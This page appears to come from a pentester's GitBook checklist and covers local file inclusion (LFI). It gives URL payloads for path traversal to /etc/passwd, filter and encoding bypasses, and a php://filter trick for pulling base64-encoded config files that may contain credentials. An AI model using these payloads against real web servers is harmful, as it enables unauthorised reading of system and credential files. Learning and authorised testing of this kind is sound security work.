🩸
Pentesting Checklist
  • 👀General Checklist
    • 👁️Recon & Scanning
      • Nmap Scan
    • 🌡️Services
      • SSH
      • FTP
      • Samba
      • Git
      • SNMP
    • ⚙️Reverse Engineering
      • General
      • Android apks
      • Windows Exe or .net binaries
  • 🐞Web Application Checklist
    • 🧠Web App Attack Techniques
      • Password Smuggling Attack
    • 😍Fuzzing with ffuf
    • 💄Directory Fuzzing
      • Using the tools
      • Wordlists to use
    • 👾Subdomain Fuzzing
      • Normal fuzzing
      • Finding through DNS
    • 🎯LFI/RCE
      • LFI
        • What to do once obtained
      • RCE
      • Misc
  • ☕Linux Checklist
    • Page 2
  • 🪟Windows Checklist
    • 💀Windows Connection Methods
  • 🖇️Tips & Tricks
    • Transferring Files
      • 🐧Linux
      • 📸Windows
    • Pivoting / Lateral Movement Techniques
      • proxychains
      • chisel
      • sshuttle
      • ligolo-ng
    • 🧩Fuzzing
    • 🙃Credential Brute-Forcing
  • 🍒Other useful resources:
    • Page 7
Powered by GitBook
On this page
  1. Web Application Checklist
  2. LFI/RCE

LFI

LFI techniques

Basic LFI

  • Basic: /index.php?path=/etc/passwd

  • Path traversal: /index.php?path=../../../../etc/passwd

  • Name prefix (like /etc/our_input): /index.php?path=/../../../etc/passwd

  • Approved Path (If the webserver errors if you don't go to some directory above first): /index.php?path=./directories_above/../../../../etc/passwd

More advanced LFI

  • Nonrecursive ../ filter: /index.php?path=....//....//....//....//etc/passwd

  • URL encode payload: /index.php?path=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

  • If the webserver appends .php to our input

    • Using null byte to make string end (obsolete): /index.php?path=../../../../etc/passwd%00

    • Read php files (maybe some source code to login or config file that has credentials):

      1. /index.php?path=php://filter/read=convert.base64-encode/resource=webconfig (webconfig turns into webconfig.php)

      2. Take ALL of the base64 that is shown on the page and echo "base64" | base64 -d

PreviousLFI/RCENextWhat to do once obtained

Last updated 2 years ago

🐞
🎯